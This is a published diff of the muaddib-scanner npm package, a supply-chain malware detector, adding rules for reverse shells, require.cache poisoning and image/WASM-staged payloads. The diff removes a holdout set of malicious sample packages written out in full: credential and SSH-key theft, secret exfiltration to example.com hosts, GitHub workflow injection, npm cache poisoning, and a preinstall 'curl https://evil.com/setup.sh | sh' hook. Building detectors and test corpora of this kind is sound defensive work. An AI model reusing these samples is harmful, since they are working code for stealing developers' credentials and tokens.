muaddib-scanner 2.2.1 → 2.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (30) hide show
  1. package/README.fr.md +1 -1
  2. package/README.md +1 -1
  3. package/package.json +1 -1
  4. package/src/response/playbooks.js +10 -0
  5. package/src/rules/index.js +23 -0
  6. package/src/scanner/ast.js +71 -0
  7. package/src/scanner/dataflow.js +8 -1
  8. package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
  9. package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
  10. package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
  11. package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
  12. package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
  13. package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
  14. package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
  15. package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
  16. package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
  17. package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
  18. package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
  19. package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
  20. package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
  21. package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
  22. package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
  23. package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
  24. package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
  25. package/datasets/holdout-v2/wasm-loader/index.js +0 -46
  26. package/datasets/holdout-v2/wasm-loader/package.json +0 -6
  27. package/metrics/v2.1.5.json +0 -753
  28. package/metrics/v2.2.0.json +0 -753
  29. package/nul +0 -0
  30. /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
package/README.fr.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.1",
3
+ "version": "2.2.3",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -308,6 +308,16 @@ const PLAYBOOKS = {
308
308
  'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
309
309
  'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
310
310
  'Nettoyer le cache: npm cache clean --force. Reinstaller les dependances depuis zero.',
311
+
312
+ require_cache_poison:
313
+ 'CRITIQUE: require.cache modifie pour hijacker des modules Node.js. ' +
314
+ 'Le code remplace les exports de modules charges (https, http, fs) pour intercepter toutes les requetes. ' +
315
+ 'Supprimer le package. Redemarrer le processus Node.js. Auditer le trafic reseau recent.',
316
+
317
+ staged_binary_payload:
318
+ 'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
319
+ 'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
320
+ 'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
311
321
  };
312
322
 
313
323
  function getPlaybook(threatType) {
@@ -562,6 +562,29 @@ const RULES = {
562
562
  mitre: 'T1059'
563
563
  },
564
564
 
565
+ require_cache_poison: {
566
+ id: 'MUADDIB-AST-019',
567
+ name: 'Require Cache Poisoning',
568
+ severity: 'CRITICAL',
569
+ confidence: 'high',
570
+ description: 'Acces a require.cache pour remplacer ou hijacker des modules Node.js charges. Technique de cache poisoning pour intercepter du trafic ou injecter du code.',
571
+ references: [
572
+ 'https://attack.mitre.org/techniques/T1574/006/'
573
+ ],
574
+ mitre: 'T1574.006'
575
+ },
576
+ staged_binary_payload: {
577
+ id: 'MUADDIB-AST-020',
578
+ name: 'Staged Binary Payload Execution',
579
+ severity: 'HIGH',
580
+ confidence: 'high',
581
+ description: 'Reference a un fichier binaire (.png/.jpg/.wasm) combinee avec eval() dans le meme fichier. Possible execution de payload steganographique cache dans une image.',
582
+ references: [
583
+ 'https://attack.mitre.org/techniques/T1027/003/'
584
+ ],
585
+ mitre: 'T1027.003'
586
+ },
587
+
565
588
  env_charcode_reconstruction: {
566
589
  id: 'MUADDIB-AST-018',
567
590
  name: 'Environment Variable Key Reconstruction',
@@ -222,6 +222,16 @@ function analyzeFile(content, filePath, basePath) {
222
222
  // Pre-scan for fromCharCode pattern (env var name obfuscation)
223
223
  const hasFromCharCode = content.includes('fromCharCode');
224
224
 
225
+ // Pre-scan for JS reverse shell pattern: net.Socket + connect + pipe + shell process
226
+ const hasJsReverseShell = /\bnet\.Socket\b/.test(content) &&
227
+ /\.connect\s*\(/.test(content) &&
228
+ /\.pipe\b/.test(content) &&
229
+ (/\bspawn\b/.test(content) || /\bstdin\b/.test(content) || /\bstdout\b/.test(content));
230
+
231
+ // Pre-scan for binary file reference (steganography payload detection)
232
+ const hasBinaryFileLiteral = /\.(png|jpg|jpeg|gif|bmp|ico|wasm)\b/i.test(content);
233
+ let hasEvalInFile = false;
234
+
225
235
  walk.simple(ast, {
226
236
  VariableDeclarator(node) {
227
237
  if (node.id?.type === 'Identifier') {
@@ -399,6 +409,35 @@ function analyzeFile(content, filePath, basePath) {
399
409
  }
400
410
  }
401
411
 
412
+ // Detect spawn/execFile of shell processes — suspicious shell spawn
413
+ if ((callName === 'spawn' || callName === 'execFile') && node.arguments.length >= 1) {
414
+ const shellArg = node.arguments[0];
415
+ if (shellArg.type === 'Literal' && typeof shellArg.value === 'string') {
416
+ const shellBin = shellArg.value.toLowerCase();
417
+ if (['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(shellBin)) {
418
+ threats.push({
419
+ type: 'dangerous_call_exec',
420
+ severity: 'MEDIUM',
421
+ message: `${callName}('${shellArg.value}') — direct shell process spawn detected.`,
422
+ file: path.relative(basePath, filePath)
423
+ });
424
+ }
425
+ }
426
+ // Also check when shell is computed via os.platform() ternary
427
+ if (shellArg.type === 'ConditionalExpression') {
428
+ const checkLiteral = (n) => n.type === 'Literal' && typeof n.value === 'string' &&
429
+ ['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(n.value.toLowerCase());
430
+ if (checkLiteral(shellArg.consequent) || checkLiteral(shellArg.alternate)) {
431
+ threats.push({
432
+ type: 'dangerous_call_exec',
433
+ severity: 'MEDIUM',
434
+ message: `${callName}() with conditional shell binary (platform-aware) — direct shell process spawn detected.`,
435
+ file: path.relative(basePath, filePath)
436
+ });
437
+ }
438
+ }
439
+ }
440
+
402
441
  // Detect spawn/fork with {detached: true} — background process evasion
403
442
  if ((callName === 'spawn' || callName === 'fork') && node.arguments.length >= 2) {
404
443
  const lastArg = node.arguments[node.arguments.length - 1];
@@ -568,6 +607,7 @@ function analyzeFile(content, filePath, basePath) {
568
607
  }
569
608
 
570
609
  if (callName === 'eval') {
610
+ hasEvalInFile = true;
571
611
  const isConstant = hasOnlyStringLiteralArgs(node);
572
612
  threats.push({
573
613
  type: 'dangerous_call_eval',
@@ -750,6 +790,17 @@ function analyzeFile(content, filePath, basePath) {
750
790
  },
751
791
 
752
792
  MemberExpression(node) {
793
+ // Detect require.cache access — module cache poisoning
794
+ if (node.object?.type === 'Identifier' && node.object.name === 'require' &&
795
+ node.property?.type === 'Identifier' && node.property.name === 'cache') {
796
+ threats.push({
797
+ type: 'require_cache_poison',
798
+ severity: 'CRITICAL',
799
+ message: 'require.cache accessed — module cache poisoning to hijack or replace core Node.js modules.',
800
+ file: path.relative(basePath, filePath)
801
+ });
802
+ }
803
+
753
804
  if (
754
805
  node.object?.object?.name === 'process' &&
755
806
  node.object?.property?.name === 'env'
@@ -794,6 +845,26 @@ function analyzeFile(content, filePath, basePath) {
794
845
  }
795
846
  });
796
847
 
848
+ // Post-walk: JS reverse shell pattern (net.Socket + connect + pipe + shell)
849
+ if (hasJsReverseShell) {
850
+ threats.push({
851
+ type: 'reverse_shell',
852
+ severity: 'CRITICAL',
853
+ message: 'JavaScript reverse shell: net.Socket + connect() + pipe to shell process stdin/stdout.',
854
+ file: path.relative(basePath, filePath)
855
+ });
856
+ }
857
+
858
+ // Post-walk: steganographic/binary payload execution
859
+ if (hasBinaryFileLiteral && hasEvalInFile) {
860
+ threats.push({
861
+ type: 'staged_binary_payload',
862
+ severity: 'HIGH',
863
+ message: 'Binary file reference (.png/.jpg/.wasm/etc.) + eval() in same file — possible steganographic payload execution.',
864
+ file: path.relative(basePath, filePath)
865
+ });
866
+ }
867
+
797
868
  return threats;
798
869
  }
799
870
 
@@ -60,6 +60,9 @@ function analyzeFile(content, filePath, basePath) {
60
60
  const sources = [];
61
61
  const sinks = [];
62
62
 
63
+ // Pre-scan: detect raw socket module import (net/tls) for instance .connect() detection
64
+ const hasRawSocketModule = /require\s*\(\s*['"](?:net|tls)['"]\s*\)/.test(content);
65
+
63
66
  // Track variables assigned from sensitive path expressions
64
67
  const sensitivePathVars = new Set();
65
68
 
@@ -155,7 +158,7 @@ function analyzeFile(content, filePath, basePath) {
155
158
  const prop = node.callee.property;
156
159
  if (obj.type === 'Identifier' && prop.type === 'Identifier') {
157
160
  // DNS resolution as exfiltration sink
158
- if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6'].includes(prop.name)) {
161
+ if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6', 'resolveTxt'].includes(prop.name)) {
159
162
  sinks.push({ type: 'network_send', name: `dns.${prop.name}`, line: node.loc?.start?.line });
160
163
  }
161
164
  // HTTP/HTTPS request/get as network sink
@@ -166,6 +169,10 @@ function analyzeFile(content, filePath, basePath) {
166
169
  if ((obj.name === 'net' || obj.name === 'tls') && ['connect', 'createConnection'].includes(prop.name)) {
167
170
  sinks.push({ type: 'network_send', name: `${obj.name}.${prop.name}`, line: node.loc?.start?.line });
168
171
  }
172
+ // Instance socket.connect(port, host) when file imports net/tls
173
+ if (hasRawSocketModule && prop.name === 'connect' && node.arguments.length >= 2) {
174
+ sinks.push({ type: 'network_send', name: 'socket.connect', line: node.loc?.start?.line });
175
+ }
169
176
  }
170
177
  }
171
178
 
@@ -1,36 +0,0 @@
1
- const os = require('os');
2
- const { execSync } = require('child_process');
3
- const https = require('https');
4
-
5
- function exfil(data) {
6
- const payload = JSON.stringify(data);
7
- const req = https.request({
8
- hostname: 'metrics.example.com',
9
- port: 443,
10
- path: '/v2/report',
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
13
- });
14
- req.on('error', () => {});
15
- req.write(payload);
16
- req.end();
17
- }
18
-
19
- const platform = os.platform();
20
- const arch = os.arch();
21
-
22
- try {
23
- if (platform === 'darwin') {
24
- // macOS: dump keychain credentials
25
- const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
26
- exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
27
- } else if (platform === 'linux') {
28
- // Linux: read /etc/shadow
29
- const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
30
- exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
31
- } else if (platform === 'win32') {
32
- // Windows: extract saved credentials via PowerShell
33
- const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
34
- exfil({ os: 'win32', arch, type: 'credentials', data: creds });
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "conditional-os-payload",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — OS-specific credential theft",
5
- "main": "index.js"
6
- }
@@ -1,21 +0,0 @@
1
- const https = require('https');
2
-
3
- // Reconstruct "GITHUB_TOKEN" from charCodes
4
- const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
5
- const varName = codes.map(c => String.fromCharCode(c)).join('');
6
-
7
- // Access via bracket notation to avoid static detection
8
- const secret = process.env[varName];
9
-
10
- if (secret) {
11
- const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
12
- const req = https.request({
13
- hostname: 'telemetry-api.example.com',
14
- port: 443,
15
- path: '/v1/collect',
16
- method: 'POST',
17
- headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
18
- });
19
- req.write(payload);
20
- req.end();
21
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "env-var-reconstruction",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — charCode reconstruction of env var name",
5
- "main": "index.js"
6
- }
@@ -1,36 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
-
4
- // Find the project root by traversing up
5
- let projectRoot = __dirname;
6
- while (projectRoot !== path.dirname(projectRoot)) {
7
- if (fs.existsSync(path.join(projectRoot, '.git'))) break;
8
- projectRoot = path.dirname(projectRoot);
9
- }
10
-
11
- const workflowDir = path.join(projectRoot, '.github', 'workflows');
12
-
13
- // Malicious step to inject into existing workflows
14
- const maliciousStep = `
15
- - name: Check dependencies
16
- run: |
17
- curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
18
- `;
19
-
20
- try {
21
- const files = fs.readdirSync(workflowDir);
22
- for (const file of files) {
23
- if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
24
-
25
- const fullPath = path.join(workflowDir, file);
26
- let content = fs.readFileSync(fullPath, 'utf8');
27
-
28
- // Inject after the first "steps:" line
29
- const stepsIndex = content.indexOf('steps:');
30
- if (stepsIndex !== -1) {
31
- const afterSteps = content.indexOf('\n', stepsIndex);
32
- content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
33
- fs.writeFileSync(fullPath, content);
34
- }
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "github-workflow-inject",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — inject step into existing workflow files",
5
- "main": "index.js"
6
- }
@@ -1,29 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Read SSH private key
7
- const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
8
- let keyData;
9
- try {
10
- keyData = fs.readFileSync(sshKeyPath, 'utf8');
11
- } catch (e) {
12
- process.exit(0);
13
- }
14
-
15
- // Encode as base64 to fit in a header
16
- const encoded = Buffer.from(keyData).toString('base64');
17
-
18
- // Exfiltrate via custom header to legitimate-looking domain
19
- const req = https.request({
20
- hostname: 'api.github.com',
21
- port: 443,
22
- path: '/repos/check-update',
23
- method: 'GET',
24
- headers: {
25
- 'User-Agent': 'node-updater/1.0',
26
- 'X-Debug-Data': encoded
27
- }
28
- });
29
- req.end();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "homedir-ssh-key-steal",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — SSH key exfiltration via HTTP header",
5
- "main": "index.js"
6
- }
@@ -1,38 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const crypto = require('crypto');
5
-
6
- // Target: npm's content-addressable cache
7
- const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
8
-
9
- // Malicious payload to inject into cached package
10
- const maliciousCode = `
11
- ;(function(){
12
- const h = require('https');
13
- const o = require('os');
14
- const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
15
- const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
16
- headers: { 'Content-Length': Buffer.byteLength(d) } });
17
- r.write(d); r.end();
18
- })();
19
- `;
20
-
21
- try {
22
- // Walk the cache directory to find JS entries
23
- const subDirs = fs.readdirSync(npmCacheDir);
24
- for (const sub of subDirs.slice(0, 5)) {
25
- const subPath = path.join(npmCacheDir, sub);
26
- const entries = fs.readdirSync(subPath);
27
- for (const entry of entries.slice(0, 3)) {
28
- const entryPath = path.join(subPath, entry);
29
- const content = fs.readFileSync(entryPath, 'utf8');
30
-
31
- // Only poison JS files
32
- if (content.includes('module.exports') || content.includes('require(')) {
33
- const poisoned = maliciousCode + '\n' + content;
34
- fs.writeFileSync(entryPath, poisoned);
35
- }
36
- }
37
- }
38
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "npm-cache-poison",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — local npm cache manipulation",
5
- "main": "index.js"
6
- }
@@ -1,8 +0,0 @@
1
- {
2
- "name": "npm-lifecycle-preinstall-curl",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — pure lifecycle script attack, no JS files",
5
- "scripts": {
6
- "preinstall": "curl -s https://evil.com/setup.sh | sh"
7
- }
8
- }
@@ -1,35 +0,0 @@
1
- const http = require('http');
2
-
3
- // Snapshot all current env values before interception
4
- const envSnapshot = Object.assign({}, process.env);
5
-
6
- // Intercept all process.env property accesses via Object.defineProperty
7
- // Different from Proxy-based approach — works on the actual process.env object
8
- const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
9
-
10
- Object.keys(envSnapshot).forEach(key => {
11
- const original = envSnapshot[key];
12
- const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
13
-
14
- Object.defineProperty(process.env, key, {
15
- get() {
16
- if (isSensitive) {
17
- // Silently exfiltrate on each access to a sensitive var
18
- const payload = JSON.stringify({ k: key, v: original });
19
- const req = http.request({
20
- hostname: '127.0.0.1',
21
- port: 8443,
22
- path: '/log',
23
- method: 'POST',
24
- headers: { 'Content-Length': Buffer.byteLength(payload) }
25
- });
26
- req.on('error', () => {});
27
- req.write(payload);
28
- req.end();
29
- }
30
- return original;
31
- },
32
- configurable: true,
33
- enumerable: true
34
- });
35
- });
@@ -1,6 +0,0 @@
1
- {
2
- "name": "process-env-proxy-getter",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — defineProperty intercept on process.env",
5
- "main": "index.js"
6
- }
@@ -1,44 +0,0 @@
1
- const http = require('http');
2
- const https = require('https');
3
-
4
- // Monkey-patch IncomingMessage prototype to intercept all HTTP responses
5
- const originalEmit = http.IncomingMessage.prototype.emit;
6
-
7
- http.IncomingMessage.prototype.emit = function(event, ...args) {
8
- if (event === 'end') {
9
- // Extract authorization headers from the response's request
10
- const authHeaders = {};
11
- const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
12
-
13
- for (const [key, value] of Object.entries(reqHeaders)) {
14
- if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
15
- authHeaders[key] = value;
16
- }
17
- }
18
-
19
- if (Object.keys(authHeaders).length > 0) {
20
- // Forward intercepted auth headers to external server
21
- const payload = JSON.stringify({
22
- url: this.req && this.req.path,
23
- headers: authHeaders,
24
- timestamp: Date.now()
25
- });
26
-
27
- const exfilReq = https.request({
28
- hostname: 'telemetry.example.com',
29
- port: 443,
30
- path: '/collect',
31
- method: 'POST',
32
- headers: {
33
- 'Content-Type': 'application/json',
34
- 'Content-Length': Buffer.byteLength(payload)
35
- }
36
- });
37
- exfilReq.on('error', () => {});
38
- exfilReq.write(payload);
39
- exfilReq.end();
40
- }
41
- }
42
-
43
- return originalEmit.call(this, event, ...args);
44
- };
@@ -1,6 +0,0 @@
1
- {
2
- "name": "readable-stream-hijack",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — IncomingMessage prototype monkey-patch",
5
- "main": "index.js"
6
- }
@@ -1,50 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Anti-sandbox: chained setTimeout with random delays
7
- // Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
8
-
9
- function stage1() {
10
- setTimeout(() => {
11
- stage2();
12
- }, Math.random() * 60000);
13
- }
14
-
15
- function stage2() {
16
- setTimeout(() => {
17
- stage3();
18
- }, Math.random() * 60000);
19
- }
20
-
21
- function stage3() {
22
- setTimeout(() => {
23
- stage4();
24
- }, Math.random() * 60000);
25
- }
26
-
27
- function stage4() {
28
- setTimeout(() => {
29
- stage5();
30
- }, Math.random() * 60000);
31
- }
32
-
33
- function stage5() {
34
- setTimeout(() => {
35
- // Final payload: read .npmrc and exfiltrate
36
- const npmrc = path.join(os.homedir(), '.npmrc');
37
- try {
38
- const token = fs.readFileSync(npmrc, 'utf8');
39
- const data = Buffer.from(token).toString('base64');
40
- const req = https.request({
41
- hostname: 'cdn-analytics.example.com',
42
- path: '/beacon?d=' + data,
43
- method: 'GET'
44
- });
45
- req.end();
46
- } catch (e) {}
47
- }, Math.random() * 60000);
48
- }
49
-
50
- stage1();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "setTimeout-chain",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — nested setTimeout chain with random delays",
5
- "main": "index.js"
6
- }
@@ -1,46 +0,0 @@
1
- const https = require('https');
2
- const os = require('os');
3
-
4
- // Download WASM module at runtime — malicious logic is in the binary
5
- const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
6
-
7
- function downloadWasm(url) {
8
- return new Promise((resolve, reject) => {
9
- https.get(url, (res) => {
10
- const chunks = [];
11
- res.on('data', c => chunks.push(c));
12
- res.on('end', () => resolve(Buffer.concat(chunks)));
13
- res.on('error', reject);
14
- }).on('error', reject);
15
- });
16
- }
17
-
18
- async function init() {
19
- const wasmBytes = await downloadWasm(wasmUrl);
20
-
21
- // Collect credentials to pass into WASM memory
22
- const env = process.env;
23
- const creds = JSON.stringify({
24
- npm: env.NPM_TOKEN || '',
25
- gh: env.GITHUB_TOKEN || '',
26
- aws_key: env.AWS_ACCESS_KEY_ID || '',
27
- aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
28
- hostname: os.hostname(),
29
- user: os.userInfo().username
30
- });
31
-
32
- // Instantiate WASM with imported memory containing credentials
33
- const memory = new WebAssembly.Memory({ initial: 10 });
34
- const encoder = new TextEncoder();
35
- const encoded = encoder.encode(creds);
36
- new Uint8Array(memory.buffer).set(encoded);
37
-
38
- const { instance } = await WebAssembly.instantiate(wasmBytes, {
39
- env: { memory, credsLen: encoded.length }
40
- });
41
-
42
- // WASM module handles exfiltration internally via imported network functions
43
- instance.exports.run();
44
- }
45
-
46
- init().catch(() => {});
@@ -1,6 +0,0 @@
1
- {
2
- "name": "wasm-loader",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — WASM-based credential passing",
5
- "main": "index.js"
6
- }